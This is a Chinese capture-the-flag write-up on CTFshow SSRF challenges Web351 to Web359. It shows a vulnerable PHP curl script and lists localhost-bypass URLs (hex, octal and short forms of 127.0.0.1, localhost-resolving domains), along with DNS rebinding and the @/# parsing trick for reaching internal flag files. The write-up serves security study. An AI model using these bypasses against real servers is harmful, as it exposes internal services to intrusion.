CTFshow-SSRF-Web351~Web360做题笔记

SSRF

Web351

首先了解一下在PHP中curl函数是用来干什么的:curl是一个强大的库,能够连接通讯各种服务器、支持各种协议。基于curl命令能让用户通过URL和许多不同的服务器进行交流,比如用来请求Web服务器, 同时它也支持https认证、http、post、ftp上传、代理、cookies、简单口令认证等功能。

<?php
error_reporting(0);
highlight_file(__FILE__); // 显示当前文件的源代码
$url = $_POST['url']; // 获取 POST 请求中的 'url' 参数
$ch = curl_init($url); // 使用用户输入的 URL 初始化一个 cURL 会话
curl_setopt($ch, CURLOPT_HEADER, 0); // CURLOPT_HEADER 选项设为 0,表示不输出响应头。
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); // CURLOPT_RETURNTRANSFER 选项设为 1,表示将 cURL 执行结果以字符串返回,而不是直接输出。
$result = curl_exec($ch); // 执行 cURL 会话并获取结果
curl_close($ch); // 关闭 cURL 会话
echo ($result); // 输出结果
?>

由Web服务器发起请求,直接输出
在这里插入图片描述

Web352、Web353

parse_url

<?php
$url = 'http://user:pass@host/path?args=value#anch';
print_r(parse_url($url));
echo parse_url($url, PHP_URL_PATH);
?>
结果:
Array
(
    [scheme] => http
    [host] => host
    [user] => user
    [pass] => pass
    [path] => /path
    [query] => args=value
    [fragment] => anch
)

url设置为127.0.1或者127.1,或者转成16进制也可以
总结:

进制绕过 		url=http://0x7F000001/flag.php # 127.0.0.1的十六进制表示
0.0.0.0绕过		url=http://0.0.0.0/flag.php # 0.0.0.0表示本机中所有的IPV4地址
特殊的地址0,	url=http://0/flag.php # 0在linux系统下被解析为127.0.0.1,在windows下解析为0.0.0.0
还有			url=http://127.1/flag.php #127.0.0.1的缩写形式
还有			url=http://127.0000000000000.001/flag.php
还有            url=http://0177.0.0.1/flag.php #0177是127的八进制表示 

Web354

302 redirect: 302 代表暂时性转移(Temporarily Moved )
302表示旧地址A的资源还在(仍然可以访问),这个重定向只是临时地从旧地址A跳转到地址B,搜索引擎会抓取新的内容而保存旧的网址。

能解析到本地的公共域名

http://127-0-0-1.s.test.cab/	//可以任意配置ip解析
http://3eqe.qwde.127.0.0.1.xip.io/	
http://devd.io                   //以下域名均解析到127.0.0.1
https://localtest.me/ 	
http://localhost.sec.qq.com/	
http://lvh.me/				
http://strikingly.io/
http://imis.qq.com/
http://safe.taobao.com/
http://114.taobao.com/
http://ecd.tencent.com/
http://wifi.aliyun.com/
http://0

在这里插入图片描述

Web355

在这里插入图片描述
限制host长度小于5

在这里插入图片描述

Web356

限制长度≤3
在这里插入图片描述

Web357

使用 filter_var 函数验证 IP 地址是否为公共 IP,过滤掉私有 IP 和保留 IP。如果验证不通过,则终止执行。

FILTER_VALIDATE_IP:用于验证值是否为合法的 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE:用于标记,不允许私有 IP 范围内的地址。私有 IP 范围包括:
10.0.0.0 到 10.255.255.255
172.16.0.0 到 172.31.255.255
192.168.0.0 到 192.168.255.255

攻击方法: DNS重绑定
DNS重绑定2
在这里插入图片描述

Web358

^:匹配字符串的开始。 http://:匹配字符串 http://。由于正斜杠 / 在正则表达式中是一个特殊字符,需要使用反斜杠
进行转义。 ctf.:匹配字符串 ctf.。点号 . 也是正则表达式中的特殊字符,需要转义。
.*:匹配任意数量的任意字符(除换行符之外)。 show$:匹配字符串 show,并且要求它是字符串的结尾(由 $ 指定)。
/i:正则表达式修饰符,表示不区分大小写进行匹配。

url中#和@的妙用

例:https://www.baidu.com#www.qq.com https://www.baidu.com@www.qq.com
http://www.baidu.com@www.qq.com //实则访问www.qq.com
http://www.baidu.com#www.qq.com //实则访问www.baidu.com
在这里插入图片描述

Web359

抓包,观察参数

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值